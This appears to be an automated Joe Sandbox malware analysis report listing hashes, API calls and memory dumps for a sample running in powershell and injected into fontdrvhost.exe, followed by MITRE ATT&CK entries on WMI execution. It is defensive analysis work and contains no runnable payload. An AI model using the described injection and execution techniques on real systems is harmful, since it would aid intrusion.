Opcode Fuzzy Hash: cb5825516c7343f027e8a6538b0f32b9f32aae6a6d5c7bd6e7bf92a62f86a2a8
Instruction Fuzzy Hash: E471F5B1D0DA898FEB54EBA898047BDBBF2FB55700F0440BBD00DD7196DB34A9858B81

Function 00007FF848E5A66D Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2975804312.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a73d21904bda712864e95c51fb7282417ec1bf1c172cd8a4e2733dfaa879a0
Instruction ID: 3557e0e1cd6a4c3982afc4029155dc5f7038fbfd11c0718523477a8444fbc638
Opcode Fuzzy Hash: c4a73d21904bda712864e95c51fb7282417ec1bf1c172cd8a4e2733dfaa879a0
Instruction Fuzzy Hash: FA515070909A1C8FEBA8EB68C8497E9BBF1FF55340F1041AAD04EE3252DF349985CB51

Function 00007FF848F234F3 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2978853207.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848f20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7540ac699b0423de1444b979ae557481603d92ea8e31f78e1c69c52291452b
Instruction ID: f147bc9fe6c18b718e16c57cb01b7a1d685733abe7b436fb08bc6abcf9142a66
Opcode Fuzzy Hash: be7540ac699b0423de1444b979ae557481603d92ea8e31f78e1c69c52291452b
Instruction Fuzzy Hash: 7811E371E0E6868FEB94EB5C74821B8B7E1FF59250F1800BAC04DD71D2DB1AA8458316

Function 00007FF848E53875 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2975804312.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 8990ad006dc1cd5092690efe894284e1ce365507db8c2038f04039ceedaaeb97
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: E801677111CB0C4FDB48EF0CE451AA6B7E0FB95364F50056EE58AC3695D736E881CB45

Non-executed Functions

Function 00007FF848E574E0 Relevance: 15.3, Strings: 12, Instructions: 340COMMON

Download Yara Rule

Strings

xI, xrefs: 00007FF848E57669
(I, xrefs: 00007FF848E57619
XI, xrefs: 00007FF848E57649
hI, xrefs: 00007FF848E57659
PI, xrefs: 00007FF848E57721
I, xrefs: 00007FF848E576D9
pI, xrefs: 00007FF848E57741
I, xrefs: 00007FF848E577B1
`I, xrefs: 00007FF848E57731
8I, xrefs: 00007FF848E57629
HI, xrefs: 00007FF848E57639
I, xrefs: 00007FF848E575D9

Memory Dump Source

Source File: 00000010.00000002.2975804312.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID: (I$8I$HI$PI$XI$`I$hI$pI$xI$I$I$I
API String ID: 0-2703881944
Opcode ID: 8da30c8a31a0c065a6c8c734eb51014639bcb9a898988bc53803e530e7c142ef
Instruction ID: 28843993f7d38e58a22c93fdc846772e058681261c38be01cf868156e25d4326
Opcode Fuzzy Hash: 8da30c8a31a0c065a6c8c734eb51014639bcb9a898988bc53803e530e7c142ef
Instruction Fuzzy Hash: CAA1F592D1E9C28FF31955AC3C191359FA1FBA2A60B1904FBD1488B4DF97389D2A43CD

Function 00007FF848E577CE Relevance: 6.3, Strings: 5, Instructions: 60COMMON

Download Yara Rule

Strings

PI, xrefs: 00007FF848E57821
0I, xrefs: 00007FF848E57801
I, xrefs: 00007FF848E577B1
@I, xrefs: 00007FF848E57811
I, xrefs: 00007FF848E577F1

Memory Dump Source

Source File: 00000010.00000002.2975804312.00007FF848E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff848e50000_powershell.jbxd

Similarity

API ID:
String ID: I$0I$@I$PI$I
API String ID: 0-3659266532
Opcode ID: 7caccc04f95c8b3512d33af29288f3f33780e2ca3f3c32a34fc1d038843e6712
Instruction ID: 6385c64266628b55facfadfddcae967abcb6048b97d48b0494282db0db510c95
Opcode Fuzzy Hash: 7caccc04f95c8b3512d33af29288f3f33780e2ca3f3c32a34fc1d038843e6712
Instruction Fuzzy Hash: 4E01C887E1F8C38FE16945AC3C0C2369A60FBE1961B080DB7D2488B5DF5A385D1682CD

Analysis Process: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exePID: 6180, Parent PID: 768COMMON

Executed Functions

Function 02C692CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 02C69314

Part of subcall function 02C69098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02C690C1
Part of subcall function 02C69098: VirtualFree.KERNELBASE(00000000,00000000,?), ref: 02C6926D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 02C69366
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 02C693C0
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 02C693F3

Strings

,, xrefs: 02C69344

Memory Dump Source

Source File: 0000001B.00000003.3001644793.0000000002C69000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction ID: 8da3073f00575c9b893b94fbd3393d104e710ec63754a8c9a0ed6eae59c0ffa3
Opcode Fuzzy Hash: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction Fuzzy Hash: 4151EBB5900709AFCB10DFA9C8C4BAEBBF4FF08354F14851AE959A7640D370EA51CB94

Function 02C60BA2 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 02C60C27
__alloca_probe_16.LIBCMT ref: 02C60CF0
__freea.LIBCMT ref: 02C60D57
__freea.LIBCMT ref: 02C60D6A
__freea.LIBCMT ref: 02C60D77

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: 1be91d8a154cd190a9917101ad2b73bfb18f513ae0a9d3aea51ae3776b96170d
Instruction ID: 9748f6235ee40fb4ee89d6c16aa4bbc6549a056b39ec441b613f561d41696835
Opcode Fuzzy Hash: 1be91d8a154cd190a9917101ad2b73bfb18f513ae0a9d3aea51ae3776b96170d
Instruction Fuzzy Hash: BE51A272600206AFDB219F65CCC8EBB7BAAFF84714F154229FD04E7150E732EA50DA60

Function 02C69098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 02C690C1
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 02C6926D

Memory Dump Source

Source File: 0000001B.00000003.3001644793.0000000002C69000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 0027b47f35bb41828b49457b793629acebb75c7188f0396d7010a51749625cc8
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: B6717A71E0424ADFDB41CF99C985BEEBBF0AB09314F244095E466FB241C334AA91DF64

Function 02C61748 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,02C612D6,00000001,00000364,00000000,?,000000FF,?,02C644E3,?,?,00000000), ref: 02C61789

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a6810f1554f9fcf9a5886c11a9122e5995b9fbb02ffe083c3e6899cbcd3d2dda
Instruction ID: b1aba9be898a964d60b47d4a82642235de8744e72f20268477d6e9051074566f
Opcode Fuzzy Hash: a6810f1554f9fcf9a5886c11a9122e5995b9fbb02ffe083c3e6899cbcd3d2dda
Instruction Fuzzy Hash: 5CF0E0316412305A9B211A236CCC7763759AFC0776B1C4512DC0CDB280EBB0D90085E0

Function 02C63D41 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

LCMapStringEx.KERNELBASE(?,02C60C92,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 02C63D75

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: f35c857d5b30ffcd9079e76f46fd89d4aa3782f2534a07bece2269d5f20fb048
Instruction ID: ed21d442173c4217669d80846cb25d97dce498071ab12d368568823a2d15601d
Opcode Fuzzy Hash: f35c857d5b30ffcd9079e76f46fd89d4aa3782f2534a07bece2269d5f20fb048
Instruction Fuzzy Hash: E3F07A3644025ABBCF126F91DC08DEE3F26EF48760F058150FA1826020C732C931EF90

Function 02C5BEFA Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,?), ref: 02C5BFCE

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8db711574ff26bd06e547ad3652bad1d5efc4efafba742b0713995cb58fd657e
Instruction ID: ced76ecf9004cf0ec84d10d4af54fd1bc3d1db0e46f32373e3c90518021b68a7
Opcode Fuzzy Hash: 8db711574ff26bd06e547ad3652bad1d5efc4efafba742b0713995cb58fd657e
Instruction Fuzzy Hash: AE310575E00219AFCB10CFA9D884BAEBFF4FB58708F108529E955A7240D731AE45CF98

Function 02C5BC80 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 02C5BCC7

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c331f57d62c91300f543d9fc2c36afb60265e0b4b05a9cdddcf70a583c8f4703
Instruction ID: fbd1715d84095cb0f7fc942c376ae172619a8ad2359338bbfa1a95c8e1bb04cc
Opcode Fuzzy Hash: c331f57d62c91300f543d9fc2c36afb60265e0b4b05a9cdddcf70a583c8f4703
Instruction Fuzzy Hash: E9E0A9B5980A226BA3212A249D04E6F7A2CEFA57453044A21FC12E2204DF30EC16CAF9

Non-executed Functions

Function 02C5CDD5 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d314555c5adc0065a21e31d2efd298d32be1960a596254520643afb8c2445c8a
Instruction ID: e03790ae60dc3170cbf3ade216b5ee8953bf19bed97bdeb3d3ccb58a4e71677f
Opcode Fuzzy Hash: d314555c5adc0065a21e31d2efd298d32be1960a596254520643afb8c2445c8a
Instruction Fuzzy Hash: CB515AB1E117159BEB14CF59D8857AEBBF0FB88318F148A2AD805EB240D379DA90CB50

Function 02C69277 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000003.3001644793.0000000002C69000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: c62470536c788f09c2bcd59799605262f246fd33eaf00411facce991cc310448
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: 0BF06D79A00201CF8B24DF0AC5CCDA6B7F6FBC5728B6545A5E404DB221D3B0EE44DBA0

Function 02C5E841 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 02C5E960
___TypeMatch.LIBVCRUNTIME ref: 02C5EA6E
_UnwindNestedFrames.LIBCMT ref: 02C5EBC0
CallUnexpected.LIBVCRUNTIME ref: 02C5EBDB

Strings

csm, xrefs: 02C5E997
csm, xrefs: 02C5E87E
csm, xrefs: 02C5E8EB

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 212c7ffc4587a00ebe778df6e0f332182fd83eaab2abf33d281b3e4d707ac368
Instruction ID: c37b9d51b7a30939c4975dea836b2a55a2064a4c45499e6f99d01011fcc884b1
Opcode Fuzzy Hash: 212c7ffc4587a00ebe778df6e0f332182fd83eaab2abf33d281b3e4d707ac368
Instruction Fuzzy Hash: A5B16871C00229AFCF19DFA4C880AAEBBB6BF44315B14455AEC066B211C771DB91DF99

Function 02C5D940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 02C5D977
___except_validate_context_record.LIBVCRUNTIME ref: 02C5D97F
_ValidateLocalCookies.LIBCMT ref: 02C5DA08
__IsNonwritableInCurrentImage.LIBCMT ref: 02C5DA33
_ValidateLocalCookies.LIBCMT ref: 02C5DA88

Strings

csm, xrefs: 02C5DA1D

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6cc1b3e00b9cf5d2679d987df6349ab76ecd36f54e9a6a77699883b10e122e3a
Instruction ID: 08df4af724fc8d6472a7e81a71eb6ed7c1a898b253d9b0810e495b5a0cfc4f24
Opcode Fuzzy Hash: 6cc1b3e00b9cf5d2679d987df6349ab76ecd36f54e9a6a77699883b10e122e3a
Instruction Fuzzy Hash: 8341F434A40329ABCF00DF68C884AAE7BB5EF45328F048195EC1A6B391D731DA91CF95

Function 02C5E5EA Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 02C5E6B1
___AdjustPointer.LIBCMT ref: 02C5E6D4
___AdjustPointer.LIBCMT ref: 02C5E770

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e5281d2886e9e0ffe3e383cd0f6259d3821f8423459a76ff6ffa85242508c0a8
Instruction ID: a97b8fc1784c895215e2579a9286257224471698ed4f51dddc87b3cb7d15efef
Opcode Fuzzy Hash: e5281d2886e9e0ffe3e383cd0f6259d3821f8423459a76ff6ffa85242508c0a8
Instruction Fuzzy Hash: EC511572600726AFDB298F10D950B7AB7A5FF84384F14452DED0687291DB31EBC1DB98

Function 02C5DE91 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02C5DEAD
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02C5DEC6

Memory Dump Source

Source File: 0000001B.00000003.3009052250.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_3_2c30000_933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: e72bbf644d1e9aacc8ae927edbd59b7535319a7cd0aaad1342ddd7b1ddc5daa8
Instruction ID: 764ba7d24e85864b81c28e3b761f2a2fa9527043bd23824565bbde48541e7080
Opcode Fuzzy Hash: e72bbf644d1e9aacc8ae927edbd59b7535319a7cd0aaad1342ddd7b1ddc5daa8
Instruction Fuzzy Hash: B0014C335493715EA75435B47C84B7B27A5DF85379B200329EC16420D0EF61C991F6C8

Analysis Process: fontdrvhost.exePID: 8004, Parent PID: 6752COMMON

Executed Functions

Function 00BE02D8 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 169memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 00BE0326

Part of subcall function 00BE00A4: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 00BE00CD
Part of subcall function 00BE00A4: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00BE0279

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 00BE0378
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 00BE03E7
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00BE0407
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 00BE042E
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 00BE0456
CloseHandle.KERNELBASE(?), ref: 00BE0471

Strings

,, xrefs: 00BE0356

Memory Dump Source

Source File: 0000001C.00000003.3009369851.0000000000BE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_3_be0000_fontdrvhost.jbxd

Similarity

API ID: Virtual$Alloc$Free$CloseFileHandleProtectView
String ID: ,
API String ID: 3867569247-3772416878
Opcode ID: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction ID: f696abb7f27f666adf1c9b34185b5c4a496ba39f612cbdf708ca1cdab9aa42e7
Opcode Fuzzy Hash: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction Fuzzy Hash: BD6130B1900249EFDB10DFA6C984ADEBBF9FF08350F108459F659A7241D770E980CB60

Function 00BE00A4 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 00BE00CD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00BE0279

Memory Dump Source

Source File: 0000001C.00000003.3009369851.0000000000BE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_3_be0000_fontdrvhost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 137fbb2e9a17219c600f684fcc9e928f45533df4629ba0655d14b32278b67cd9
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: 8371A971A1428ADFCB41DF99C885BEDBBF0EB09314F284095E562FB241C374AA81DF65

Analysis Process: fontdrvhost.exePID: 4592, Parent PID: 6752COMMON

Execution Graph

Execution Coverage:	33.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	83.3%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000002CB3B021CF4 Relevance: 3.3, APIs: 2, Instructions: 278
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000002CB3B021F92
CloseHandle.KERNELBASE ref: 000002CB3B021F9B

Memory Dump Source

Source File: 00000020.00000002.3194250946.000002CB3B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002CB3B020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2cb3b020000_fontdrvhost.jbxd

Similarity

API ID: AcceptCloseConnectHandlePort
String ID:
API String ID: 3811980168-0
Opcode ID: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction ID: b757beee09c347b198d5e2893590bd78db8cd3b4281b3c8315270c5588bb776a
Opcode Fuzzy Hash: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction Fuzzy Hash: 9A91FB30608F488FE766EF18C446BE973E5FB84310F14469ED49BC719AEB38E9468785

Function 000002CB3B020AC8 Relevance: 3.2, APIs: 2, Instructions: 185
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000002CB3B020C14
NtAcceptConnectPort.NTDLL ref: 000002CB3B020C5E

Memory Dump Source

Source File: 00000020.00000002.3194250946.000002CB3B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002CB3B020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2cb3b020000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction ID: 796b173e02e5c11616497b0f2b8a7c4b5cfc28e60087f23a533b97d9c825b801
Opcode Fuzzy Hash: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction Fuzzy Hash: 88514834518A940AF73FB638889AA7CB7D9F781305F34019ED0F3CA597EA29C54A8685

Function 000002CB3B021AA4 Relevance: 3.2, APIs: 2, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 000002CB3B021AE9

Part of subcall function 000002CB3B021870: GetProcessMitigationPolicy.KERNELBASE ref: 000002CB3B021943

NtAcceptConnectPort.NTDLL ref: 000002CB3B021BE3

Memory Dump Source

Source File: 00000020.00000002.3194250946.000002CB3B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002CB3B020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2cb3b020000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort$MitigationPolicyProcess
String ID:
API String ID: 2923266908-0
Opcode ID: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction ID: 70a64abce7e4ee086dd4f4774a22e8a60c385f373aa91c13c22060a8bd1925b5
Opcode Fuzzy Hash: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction Fuzzy Hash: 1441D430208B888FDB45EF2CD889B997BD5EB55320F04439DE85ACB2D7DB38C5498795

Function 000002CB3B0215C0 Relevance: 1.6, APIs: 1, Instructions: 76
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,?,?,00000000,000002CB3B021E3A), ref: 000002CB3B021654

Memory Dump Source

Source File: 00000020.00000002.3194250946.000002CB3B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002CB3B020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2cb3b020000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction ID: ffbdcac1ed4dd03e9b5b5b1e6b4c3151e7a90987129576e41c34f81b623304c6
Opcode Fuzzy Hash: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction Fuzzy Hash: C0218171608B488FEB59DF18C4CEA6AB7E5FB68305F040A6EE44ACB360D735D489CB41

Function 000002CB3B021870 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessMitigationPolicy.KERNELBASE ref: 000002CB3B021943

Memory Dump Source

Source File: 00000020.00000002.3194250946.000002CB3B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002CB3B020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2cb3b020000_fontdrvhost.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction ID: 5485984c760a52969ce792dfc68567300770f3fbafa86dc933b3518a2584236b
Opcode Fuzzy Hash: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction Fuzzy Hash: 7C31B130300A475AFBA7A668C49BBF972DAEB85310F9401E9C415EB0D9EF2DC94DC648

Non-executed Functions

Function 000002CB3B020511 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.3194250946.000002CB3B020000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002CB3B020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2cb3b020000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction ID: 1684949b0e2b346c4f6e13502068689c61c9b2d028cdf62c4328b71d82623ec0
Opcode Fuzzy Hash: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction Fuzzy Hash: CFB01130E2AA00C2E3880E0AB8023A0F2B2C30B300F02B2322002F3220CA28CC08028F

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
